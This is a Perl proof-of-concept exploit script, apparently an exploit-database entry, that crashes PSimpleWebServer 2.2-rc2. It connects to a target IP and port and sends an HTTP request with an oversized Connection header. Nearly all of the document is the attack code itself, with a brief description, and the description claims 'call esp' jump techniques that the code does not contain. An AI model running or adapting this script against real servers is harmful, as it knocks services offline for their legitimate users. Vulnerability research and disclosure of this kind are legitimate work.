#!/usr/bin/perl use IO::Socket::INET; # Exploit Title: PSimpleWebServer 2.2-rc2 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 11 january 2024 # Vendor Homepage: http://www.pmx.it/ # Download to demo: https://drive.google.com/file/d/1tAK7dKl3yBPQSeo5Tid4p2FETyh8Zjvs/view?usp=sharing # Notification vendor: No reported # Tested Version: PSimpleWebServer 2.2-rc2 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Vídeo: https://www.youtube.com/watch?v=YFfBuWnHeQY #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The server did not properly handle request with large amounts of data to web server. #The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "\t ==> Connecting to webserver... \n\n"; sleep(1); our $exploit = "\x41"x2014; $exploit = "x\41"x2104; if ($socket = IO::Socket::INET->new (PeerAddr => $ip, PeerPort => $port, Proto => "TCP")) { $header = "GET / HTTP/1.1\r\n". "Host: ".$ip." \r\n". "Connection:".$exploit."\r\n"; print $socket $header."\r\n"; sleep(1); close($socket); } else { print "[-] Connection to $ip failed!\n"; exit; } print "\t ==> Done! Exploited!"; sub intro { print q { ,,__ .. .. / o._) /--'/--\ \-'|| / \_/ / | .'\ \__\ __.'.' )\ | )\ | // \\ // \\ ||_ \\|_ \\_ '--' '--'' '--' [+] SimpleWebServer 2.2-rc2 - Denial of Service (DoS) [*] Coded by Fernando Mengali [@] e-mail: [email protected] } } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print "\n\tUsage: $0 <ip> <port> \n"; exit(-1); } } #3. Solution/ How to fix: # This version product is deprecated